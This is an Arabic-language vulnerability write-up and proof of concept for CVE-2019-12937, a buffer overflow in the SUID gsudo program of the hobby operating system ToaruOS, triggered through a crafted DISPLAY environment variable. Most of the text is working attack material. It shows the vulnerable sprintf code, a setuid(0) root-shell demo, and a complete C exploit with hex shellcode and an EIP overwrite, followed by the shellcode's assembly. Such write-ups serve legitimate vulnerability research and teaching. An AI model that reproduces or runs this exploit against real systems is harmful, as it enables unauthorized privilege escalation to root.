
إثبات المفهوم لاستغلال CVE-2019-12937، تجاوز سعة المخزن المؤقت في ثنائي gsudo ذو SUID في ToaruOS مما يسمح بترقية الامتيازات المحلية إلى الجذر عبر متغير البيئة DISPLAY المُصمم.
ToaruOS هو نظام تشغيل مفتوح المصدر مكتوب بلغة C، وهو نظام تشغيل هواة تم تطويره بواسطة طالب بكالوريوس في علوم الحاسوب من جامعة إلينوي. يعمل ToaruOS على بنية POSIX و x86. تشمل الوظائف الرئيسية لـ ToaruOS دعم العمليات والخيوط، ودعم الملفات الثنائية ELF، ووحدات التحميل في وقت التشغيل، ودعم الأنابيب (Pipe) وأنواع مختلفة من أجهزة المحطة الطرفية (TTY)، ودعم نظام الملفات الافتراضي، ودعم نظام الملفات EXT2، ودعم الإشارات، إلخ.
يوجد ثغرة تجاوز سعة المخزن المؤقت في ملف apps/gsudo.c الخاص بأداة gsudo في الإصدار 1.10.9 وما قبله من ToaruOS. يمكن للمهاجم استغلال هذه الثغرة عبر متغير البيئة DISPLAY لرفع الامتيازات إلى root.
انسخ ملف poc.c إلى نظام ToaruOS، ثم قم بتشغيله في دليل النسخ:
gcc -o poc poc.c
./poc
تستخدم الدالة pex_connect الدالة sprintf لربط السلاسل النصية، ولكنها لا تتحقق من طول المعامل target، مما يؤدي إلى تجاوز سعة المخزن المؤقت عند طول target كبير جدًا.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
حيث أن المعامل target هو قيمة متغير البيئة DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* فشل الاتصال. */
}
......
......
}
يقوم برنامج gsudo باستدعاء الدالة yutani_init. gsudo هو برنامج بصلاحية SUID، لذا فإن صلاحياته أثناء التنفيذ هي root، ويمكن استخدام التجاوز أعلاه لرفع الامتيازات.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
تقوم برامج SUID بإنشاء صلاحيات s و t، وذلك للسماح للمستخدم العادي بالحصول مؤقتًا على صلاحيات مالك البرنامج أثناء تنفيذ بعض البرامج.
فيما يلي اختبار لعملية تنفيذ برنامج SUID.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
تُستخدم الدالة setuid لتعيين هوية المستخدم الحالي. عندما تكون المعامل 0، يتم تعيين العملية الحالية كـ root. بعد استدعاء setuid، يتم تنفيذ برنامج shell لمراقبة المستخدم الحالي.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
في ToaruOS، بعد اكتمال بدء تشغيل النظام، يتم تحميل جميع البرامج من خلال fork إلى exec_elf، وتكون صلاحيات البرنامج هي صلاحيات العملية الأم. عندما يواجه البرنامج صلاحية setuid، يتم تعيين صلاحية العملية على أنها صلاحية مالك الملف الحالي.
تحدث الثغرة في برنامج بصلاحية SUID، لذا يمكن استخدام تجاوز سعة المخزن المؤقت لرفع الامتيازات.
لا يحتوي ToaruOS على آليات حماية مثل عشوائية المكدس، عشوائية الكومة، عدم قابلية تنفيذ المكدس، إلخ. لذلك فإن استغلالها بسيط نسبيًا، ولكن لا يتوفر أدوات تصحيح مثل gdb، مما يتطلب بعض الجهد.
من خلال ثغرة تجاوز سعة المخزن المؤقت، يتم التحكم في eip للوصول إلى عنوان payload الخاص بنا لرفع الامتيازات. يمكن تنفيذ الكود على المكدس، وعناوين المكدس ثابتة. نضع payload على المكدس باستخدام متغير environ. نقوم بطباعة عناوين argv و environ مباشرة.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
النتيجة
argv: 3f00c00c
environ: 3f022010
قم بتعيين قيمة متغير البيئة، وتحكم في قيمة eip لتكون بين argv و environ. يجب ألا تحتوي قيمة eip على الحرف \x00. تجاوز ذلك عن طريق ملء تعليمات Nop.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
في البداية، ينفذ payload الدالة setuid(0) لتعيين صلاحية العملية الحالية، ثم ينفذ system("/bin/shh") لإرجاع shell. يستدعي ToaruOS وظائف النظام عبر int 0x7f. توجد أرقام استدعاءات النظام في syscall_nums.h، setuid يقابل 24، و system يقابل 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"